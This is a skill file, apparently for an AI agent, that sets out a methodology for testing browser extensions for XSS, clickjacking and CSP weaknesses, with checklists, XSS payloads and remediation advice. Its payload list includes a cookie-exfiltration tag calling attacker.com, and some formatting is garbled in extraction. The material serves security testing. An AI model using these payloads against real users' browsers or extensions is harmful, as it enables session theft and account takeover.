Hacktricks-skills browser-extension-xss-testing
How to test browser extensions for XSS vulnerabilities including iframe-based XSS, DOM-based XSS, and clickjacking attacks. Use this skill whenever the user mentions browser extension security testing, Chrome extension vulnerabilities, XSS in extensions, web_accessible_resources exploitation, or CSP bypass in extensions. Make sure to use this skill for any pentesting task involving browser extensions, even if the user doesn't explicitly mention XSS.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example/SKILL.MDBrowser Extension XSS Testing Methodology
This skill provides a systematic approach to identifying and testing Cross-Site Scripting (XSS) vulnerabilities in browser extensions, particularly Chrome extensions.
When to Use This Skill
Use this skill when:
- Testing browser extensions for security vulnerabilities
- Analyzing extension code for XSS risks
- Reviewing extension manifests for security misconfigurations
- Investigating web_accessible_resources exposure
- Testing Content Security Policy (CSP) effectiveness
- Performing penetration testing on extension-based applications
Core Vulnerability Patterns
1. Iframe-Based XSS
What to look for:
- Extensions that create iframes with user-controlled URLs
- Query parameters passed to iframe sources
- Dynamic content injection into iframe pages
Testing approach:
-
Identify iframe creation code:
// Look for patterns like: frame.src = constructedURL document.createElement("iframe") iframe.src = someDynamicValue -
Check for parameter injection:
- Find where URL parameters are constructed
- Verify if user input flows into
portions?param=value - Test with XSS payloads in parameter values
-
Test payload delivery:
// Example test payload let xssPayload = "<img src='invalid' onerror='alert("XSS")'>" let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}` -
Verify CSP configuration:
- Check
formanifest.jsoncontent_security_policy - Look for
or'unsafe-eval'
directives'unsafe-inline' - Test if scripts execute despite CSP
- Check
2. DOM-Based XSS
What to look for:
- Direct DOM manipulation with user input
- jQuery
or.html()
with untrusted data.append() - String concatenation building HTML
- Input fields that affect page content
Testing approach:
-
Identify dangerous patterns:
// Vulnerable: string concatenation + DOM insertion element.html('<span>' + userInput + '</span>') element.append(userContent) document.body.innerHTML = userValue -
Test input fields:
- Find all
elements in extension pages<input> - Submit XSS payloads:
<img src=x onerror=alert(1)> - Check if payload renders as HTML or text
- Find all
-
Check jQuery usage:
- jQuery's
and.html()
can execute scripts.append() - These methods use
internallyglobalEval() - Test with script tags:
<script>alert(1)</script>
- jQuery's
-
Verify sanitization:
- Look for
instead of.text().html() - Check for DOMPurify or similar sanitization
- Test if sanitization is bypassed
- Look for
3. ClickJacking + DOM XSS Combination
What to look for:
exposing HTML pagesweb_accessible_resources- Pages that can be framed (no X-Frame-Options)
- DOM XSS that requires user interaction
Testing approach:
-
Check web_accessible_resources:
// In manifest.json "web_accessible_resources": [ "html/bookmarks.html", // Vulnerable if framed "dist/*", "assets/*" ] -
Test framing capability:
- Create a test page with iframe pointing to extension page
- URL format:
chrome-extension://[extension-id]/[page-path] - Check if page loads in iframe
-
Combine with DOM XSS:
- If DOM XSS requires clicking a button
- Use clickjacking to force the click
- Overlay transparent iframe on attacker page
- Position to make user click extension button unknowingly
-
Test the attack chain:
// Create iframe with extension page let newFrame = document.createElement("iframe") newFrame.src = "chrome-extension://[id]/page.html?param=payload" document.body.append(newFrame)
Content Security Policy Analysis
Dangerous CSP Directives
| Directive | Risk | What it allows |
|---|---|---|
| High | , constructor |
| High | Inline tags |
| High | Scripts from any origin |
| Missing CSP | Medium | Default browser policies apply |
Testing CSP Bypass
-
Check manifest.json:
{ "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" } -
Test eval-based execution:
// If 'unsafe-eval' is present, test: eval("alert('CSP bypass')") new Function("alert('CSP bypass')")() -
Test inline scripts:
// If 'unsafe-inline' is present, test: document.body.innerHTML = '<script>alert(1)</script>'
Testing Checklist
Manifest Analysis
- Review
for unsafe directivescontent_security_policy - Check
for exposed HTML pagesweb_accessible_resources - Verify
don't grant excessive accesspermissions - Look for
configurationexternally_connectable
Code Review
- Search for
,.html()
,.append()
with variables.innerHTML - Find iframe creation with dynamic sources
- Identify URL parameter handling
- Check for
,eval()
,Function()
with stringssetTimeout() - Look for
data flowing to DOMchrome.storage
Runtime Testing
- Inject XSS payloads into all input fields
- Test URL parameters with encoded payloads
- Attempt to frame extension pages
- Verify CSP enforcement in DevTools console
- Check for console errors indicating blocked scripts
Payload Testing
Basic XSS:
<img src=x onerror=alert(1)> <script>alert(1)</script> <svg onload=alert(1)>
Event Handler XSS:
<body onload=alert(1)> <div onmouseover=alert(1)> <input onfocus=alert(1) autofocus>
Data Exfiltration:
<img src=https://attacker.com/steal?data= ```javascript encodeURIComponent(document.cookie)
Common Extension Vulnerabilities
1. Storage Data Injection
// Vulnerable pattern chrome.storage.local.get("userMessage", (result) => { document.body.innerHTML = result.userMessage // XSS! })
Fix: Use
.text() or sanitize with DOMPurify
2. URL Parameter Injection
// Vulnerable pattern let param = new URLSearchParams(window.location.search).get("content") $("#output").html(param) // XSS!
Fix: Validate and sanitize all URL parameters
3. Web Accessible Resource Framing
// Vulnerable manifest "web_accessible_resources": ["*.html"]
Fix: Limit to specific files, add X-Frame-Options headers
Remediation Guidelines
For Developers
-
Use safe DOM methods:
// Instead of .html() element.text(userInput) // Or sanitize element.html(DOMPurify.sanitize(userInput)) -
Tighten CSP:
{ "content_security_policy": "script-src 'self'; object-src 'self';" } -
Limit web_accessible_resources:
{ "web_accessible_resources": [ {"resources": ["assets/*.png"], "matches": ["<all_urls>"]} ] } -
Validate all inputs:
- Never trust user input, storage data, or URL parameters
- Use allowlists for expected values
- Encode output based on context (HTML, JS, URL)
For Pentesters
-
Document findings clearly:
- Include vulnerable code snippets
- Show proof-of-concept payloads
- Explain impact and exploitation path
-
Prioritize by severity:
- DOM XSS with clickjacking: Critical
- Iframe XSS with unsafe-eval: High
- Stored XSS in extension storage: High
- Reflected XSS requiring interaction: Medium
-
Test in context:
- Verify attacks work in actual extension environment
- Check if CSP blocks the payload
- Confirm user interaction requirements
References
- When Extension Pages Are Web Accessible
- Steam Fire and Paste - UXSS via DOM XSS + Clickjacking
- Chrome Extension Security Best Practices
- Content Security Policy Level 3
Quick Start
When testing a browser extension:
- Download and inspect the extension - Extract
or view source in Chrome.crx - Review manifest.json - Check CSP and web_accessible_resources
- Search for dangerous patterns - Look for
,.html()
, iframe creation.append() - Test input fields - Submit XSS payloads to all user inputs
- Test URL parameters - Modify query strings with encoded payloads
- Attempt framing - Try to load extension pages in iframes
- Verify CSP - Check if payloads execute or are blocked
- Document findings - Record vulnerable code and proof-of-concept